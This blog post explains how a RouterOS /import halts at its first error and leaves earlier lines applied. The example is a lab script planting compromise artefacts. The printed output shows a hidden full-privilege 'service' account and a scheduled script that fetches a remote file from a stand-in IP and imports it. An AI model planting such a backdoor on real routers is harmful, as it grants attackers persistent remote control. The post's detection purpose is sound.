RouterOS /import Stops at the First Error and Says Nothing

A failed import leaves everything before the bad line applied and abandons the rest. The error tells you a line number and nothing about what landed.

I was building a lab prop last night — a script that deliberately plants the artefacts a compromised router would carry, so that a detection article would have something real to find. I wrote it, pushed it to a CHR instance, and imported it.

It failed on a typo. I had written name= twice in the same line.

The typo is not interesting. What the router did about it is.

What actually happened

The import produced exactly one line of output:

Script Error: bad parameter name (line 29 column 34) (:import; line 1)

That is the whole report. A line number, a column number, and a parse complaint.

What it does not say is that lines 1 through 28 had already been applied to a live router, and that everything from line 29 onward was abandoned. It does not say the import stopped. It does not say the configuration is now half-applied. It offers no summary, no count, and no indication that the device is in a state nobody designed.

Here is what was actually on the router afterwards:

/user print detail
/system script print detail
/system scheduler print
/ip socks print
/ip proxy print
/ip firewall nat print
0  ;;; system default user
   name="admin" group=full inactivity-timeout=10m inactivity-policy=none
   address="" last-logged-in=2026-09-08 23:07:10
1  name="service" group=full inactivity-timeout=10m inactivity-policy=none
   address=""

0  name="upd" owner="service"
   policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
   dont-require-permissions=no run-count=0 source=
      /tool fetch url="http://198.51.100.23/x" mode=http dst-path=upd2.rsc
      /import upd2.rsc

                  enabled: no
                     port: 1080

                 enabled: no
                    port: 8080

0  ;;; masquerade
   chain=srcnat action=masquerade out-interface-list=WAN

Read that carefully, because there are two separate problems in it.

A full-privilege account called service now exists, and a script owned by it that fetches a remote file and imports it. Those are lines 20 and 24 of my file. They applied.

The scheduler section printed nothing at all. Not an error, not 0 items — nothing. That was line 29, the line that failed, and everything below it. SOCKS is still enabled: no, the proxy is still enabled: no, and the NAT table contains only the masquerade rule that was there before.

So the router is carrying the dangerous half of a script and none of the half that would have made it do anything. Which sounds like luck, and in this case it was — the ordering could as easily have gone the other way.

Why the ordering makes this dangerous

Most people write a configuration in the sequence they would build one by hand. Identity first, then interfaces, then addresses, then routes, then interface lists, then NAT, and the firewall last, because the firewall depends on everything above it.

That ordering means an error near the top abandons almost everything, which is obvious and easy to spot. An error two-thirds of the way down abandons only the last third — and the last third is the firewall.

A router in that state is genuinely difficult to catch. It has the right identity. It has the right addresses. It routes. The LAN behind it works, DNS resolves, and you can SSH to it from the management network. Every check a person makes in the first thirty seconds passes.

It just has no input chain.

The bit that makes automation hard

The error gives you a line number in the file. It does not give you an inventory of what was applied, and there is no transaction to roll back — RouterOS applies each statement as it reads it, so a failed import is not undone, it is simply stopped.

This matters if you deploy configuration by pushing .rsc files, because the obvious scripted pattern is:

/tool fetch url="http://config-server/site-baseline.rsc"
/import file=site-baseline.rsc

If that import fails at line 29 of 200, the fetch succeeded, the import “ran”, and the device is now in a state that matches neither the old configuration nor the new one. Run the same file again and the statements that already applied will mostly fail as duplicates, which produces a different error at a different line, and now you are debugging the debugging.

What to do about it

Check the objects, not the exit. After any import, verify the things that were supposed to be created at the end of the file, not the beginning. If the last section landed, everything before it did too.

/ip firewall filter print count-only
/interface list print count-only
/user print count-only

A count of zero where you expected rules is the fastest signal available.

Put a marker at the end of every config file. One statement whose only job is to prove the file finished:

/system note set note="baseline v7 applied 2026-09-09"

Then a single check tells you whether the whole file ran:

/system note print

If the note is missing or stale, the import did not reach the end. This costs one line and turns a silent partial failure into a visible one.

Import into a device you can revert. In a lab that means a snapshot. On hardware it means a configuration backup you have actually restored from at least once, because a backup you have never tested is a belief rather than a plan.

Split large files. A 200-line baseline that fails at line 29 is a mess. Four 50-line files, imported in order, with a marker at the end of each, tells you exactly which section failed and leaves the earlier ones intact and known-good.

The wider point

This is the same failure the rest of this site keeps circling. /export shows what was decided, not what is running. A failed import shows a line number, not a state. In both cases the artefact you are handed describes an intention, and the device describes something else.

The only reliable move is to ask the device.

Verified on RouterOS 7.24 (stable), build 2026-08-14, running as CHR on VMware Workstation. The failure above was not staged — it happened while I was building something else, which is roughly how everyone meets it.